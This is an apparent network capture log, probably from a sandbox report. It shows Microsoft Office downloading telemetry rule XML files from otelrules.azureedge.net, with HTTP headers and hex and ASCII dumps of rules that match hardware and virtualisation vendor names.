2024-11-15 08:55:21 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:21 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:21 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: dcb3d461-101e-000b-6d69-355e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085521Z-1866b5c5fbbpxkkxhC1DFWhvmc000000017g000000008s0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:21 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:21 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:21 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085521Z-16547b76f7f9bs6dhC1DFWt3rg0000000msg00000000gfvp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:22 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085522Z-1866b5c5fbb8pmbjhC1DFW6z0c000000014g000000004fwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:22 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 818d7a8e-001e-005a-6101-36c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085522Z-1866b5c5fbbpxkkxhC1DFWhvmc000000016g00000000avxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:22 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:22 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:22 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ed171e7d-901e-0015-69a2-34b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085522Z-1866b5c5fbb5hnj5hC1DFW18sc000000015000000000c08w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:22 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:22 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:22 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:22 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085522Z-16547b76f7fw2955hC1DFWsptc00000001mg000000004s7v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:22 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:22 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:22 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:22 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 6b1971c7-b01e-0053-1140-36cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085522Z-16547b76f7ftdm8dhC1DFWs13g0000000mv0000000009r4m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:22 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:23 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 86fb44b9-501e-0078-06d2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085523Z-16547b76f7fw2955hC1DFWsptc00000001fg00000000dyfe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:23 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:23 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 4f504748-101e-0079-0faf-365913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085523Z-16547b76f7fm7xw6hC1DFW5px40000000mt000000000as43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:23 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:23 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:23 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: d36f9d12-a01e-0021-5eaf-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085523Z-16547b76f7fnlcwwhC1DFWz6gw0000000mwg00000000hvmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:23 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:23 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085523Z-1866b5c5fbb9m92fhC1DFWwu78000000016g000000006tse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:23 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
